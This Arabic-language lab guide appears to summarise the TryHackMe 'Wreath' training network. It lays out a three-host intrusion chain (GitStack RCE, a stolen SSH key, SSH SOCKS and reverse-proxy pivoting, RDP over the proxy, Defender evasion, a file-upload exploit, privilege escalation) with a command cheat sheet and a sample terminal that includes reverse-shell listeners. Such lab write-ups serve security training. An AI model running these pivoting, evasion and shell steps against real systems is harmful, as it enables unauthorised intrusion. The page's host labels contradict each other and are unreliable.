Lab: Wreath | STY IT Labs
STY IT Labs · TryHackMe · Advanced Network

Lab: Wreath
شبكة داخلية كاملة — 3 Hosts Pivot

مش غرفة عادية — شبكة Thomas Wreath الداخلية الكاملة. تدخل من سيرفر Linux واحد، وتبني لك طريق عبوره لحد ما توصل لأعمق سيرفر محمي خلف Firewall، من غير أي مساعدة بعد أول كام مهمة.

Hard Difficulty 3 Hosts GitStack 2.3.10 SSH Pivoting AV Evasion Linux + Windows
.200 .150 .100 SSH PIVOT CHAIN WREATH
Hard
4 – 8 ساعات
3 أجهزة
13 مهمة
TryHackMe
Linux + Windows

عن اللاب

10.200.X.200
Gitea Dev Server
Linux · Externally reachable
10.200.X.150
Internal IIS Server
Windows Server
10.200.X.100
Dev Server (GitStack)
Deepest host — Firewalled

Wreath مش غرفة — دي شبكة كاملة لـ Thomas Wreath. بتدخل من سيرفر Linux خارجي واحد بس، وكل حاجة بعد كده لازم تبنيها بنفسك: Pivoting، proxying، نقل أدواتك بنفسك للداخل. مفيش هاند-هولدينج بعد أول كام مهمة.

اللاب بيتقسم لـ 3 أقسام: Wireshark Basics (تمارين تحليل حزم منفصلة)، بناء الشبكة بنفسك على attacker box، وبعدها الاختراق الفعلي للـ 3 hosts.

Wreath Badge

أكمل اختراق الـ 3 hosts كاملين — من أهم اللابات لو بتحضّر لـ OSCP

مسار الهجوم — سلسلة الـ Pivoting

1

الهدف الأول (.200) — GitStack RCE

سيرفر Linux خارجي بيشغّل GitStack 2.3.10 — ثغرة Unauthenticated RCE معروفة بتدّيك Reverse Shell فوراً.

GitStack 2.3.10Unauth RCE
2

Persistence + SSH Key

بعد الشل تلاقي SSH private key على السيرفر — ده اللي هتستخدمه كـ Pivot Point لباقي الشبكة.

find SSH keyschmod 600 id_rsa
3

SSH Dynamic Forward Proxy → .150

تبني SOCKS proxy عبر الـ SSH key على .200 عشان توصل للشبكة الداخلية اللي معزولة عنك.

ssh -D (dynamic proxy)proxychains
4

الهدف الثاني (.150) — Windows Unauth RCE

سيرفر ويندوز داخلي بيشغّل تطبيق ويب فيه ثغرة RCE من غير auth — توصله بس عن طريق البروكسي.

Unauthenticated RCEbind shell payload
5

RDP + تهريب ملفات + AV Evasion

تعمل RDP على .150 عبر الـ SOCKS proxy وتعمل drive mapping لنقل أدواتك. هنا بيبقى لازم تتجاوز الـ Windows Defender بتعديل الـ metadata أو تشفير الـ payload.

xfreerdp /proxy:socks5AV evasion
6

SSH Reverse Proxy من .150 → .200 → .100

تنقل الـ SSH key لـ .150 وتفتح reverse proxy تاني عبر .200 عشان توصل لأعمق هدف خلف طبقتين من العزل.

ssh -R (reverse proxy)
7

الهدف الثالث (.100) — Source Review + PrivEsc 🏆

تحليل كود المصدر (Static Analysis) على سيرفر Development يكشف ثغرة File Upload، وبعد الشل تصعيد صلاحيات للوصول الكامل.

Source Code ReviewFile Upload VulnPrivEsc → Full Compromise 🏆

مراحل اللاب

Wireshark 101
GitStack RCE
SSH Pivot
RDP + AV Evasion
Source Review
PrivEsc 🏆

Commands Cheat Sheet

الأمرالوصفالمرحلة
searchsploit gitstackإيجاد الـ exploit لـ GitStack 2.3.10Exploit
chmod 600 id_rsaتجهيز الـ SSH key المسروق للاستخدامPrep
ssh -i id_rsa -fND 1080 root@10.200.X.200بناء SOCKS proxy ديناميكي عبر الهدف الأولPivot
proxychains nmap -sT -Pn 10.200.X.150فحص الهدف الداخلي عبر البروكسيScan
xfreerdp /proxy:socks5://127.0.0.1:1080 /v:10.200.X.150RDP على الهدف التاني عبر الـ proxyPivot
ssh -i id_rsa -fNR 1081 root@10.200.X.200فتح Reverse Proxy من الهدف التاني للأولPivot
python3 -m http.server 80تهريب nc.exe وأدوات لجوة الشبكةTransfer
nc -lvnp 4444استقبال الشل من الهدف الثالثShell

المهام والأسئلة

Task 1-6 — Wireshark & Networking Basics

تمارين منفصلة قبل البدء — تحليل PCAP، فهم الـ TTL وTCP handshake

Intro
07

Task 7 — Scanning the Network

فحص .200 وإيجاد GitStack 2.3.10 على port 80

RCE
08

Task 8 — Exploiting GitStack

شل عكسي + إيجاد SSH key للـ pivoting

Foothold
09

Task 9 — Pivoting (Dynamic Proxy)

ssh -D عبر .200 + proxychains لفحص .150

Pivot 1
10

Task 10 — Windows RCE + RDP

استغلال .150، AV evasion، RDP عبر البروكسي

Windows
11

Task 11 — Reverse Proxy للهدف الثالث

ssh -R من .150 عبر .200 للوصول لـ .100

Pivot 2
12

Task 12 — Source Code Review

تحليل كود .100 وإيجاد File Upload vuln

Analysis
13

Task 13 — Final Shell + PrivEsc 🏆

تهريب nc.exe، شل، وتصعيد صلاحيات كامل

Root 🏆
▶ أدخل الـ Flag الخاص بمهمتك الحالية

Terminal — سلسلة الـ Pivoting كاملة

root@kali — Wreath Network
# Target 1 — GitStack RCE
└─# searchsploit gitstack
[+] Reverse shell on 10.200.X.200
www-data@gitstack:~$ find / -name id_rsa 2>/dev/null

# Pivot 1 — Dynamic SOCKS Proxy
└─# ssh -i id_rsa -fND 1080 root@10.200.X.200
└─# proxychains nmap -sT -Pn 10.200.X.150
80/tcp open http (internal IIS webapp)

# Target 2 — Windows Unauth RCE
└─# proxychains msfconsole
[+] Bind shell on 10.200.X.150
└─# xfreerdp /proxy:socks5://127.0.0.1:1080 /v:10.200.X.150 /drive:.,kali-share

# Pivot 2 — Reverse Proxy to Target 3
C:\> copy kali-share\id_rsa .
C:\> ssh -i id_rsa -fNR 1081 root@10.200.X.200

# Target 3 — Source Review + Foothold
└─# proxychains python3 upload_exploit.py 10.200.X.100
└─# nc -lvnp 4444
[+] Connection from 10.200.X.100 — full chain complete

└─#

المهارات المكتسبة

Network Pivoting
SSH Proxying (Fwd/Rev)
AV Evasion
Proxychains
GitStack RCE
Source Code Review
RDP over SOCKS
Windows PrivEsc

الأدوات المستخدمة

searchsploit / Metasploitاستغلال GitStack والثغرة الويندوز
ssh (-D / -R)بناء بروكسيات SOCKS للـ pivoting
proxychainsتمرير أدواتك عبر البروكسي الداخلي
xfreerdpRDP عبر SOCKS proxy لنقل الملفات
msfvenomبناء payloads متجاوزة للـ AV
ارسم خريطة الشبكة ورقياً قبل ما تبدأ — عدد طبقات الـ pivoting هنا سهل يلخبطك لو مفكرتش فيها بصريًا الأول.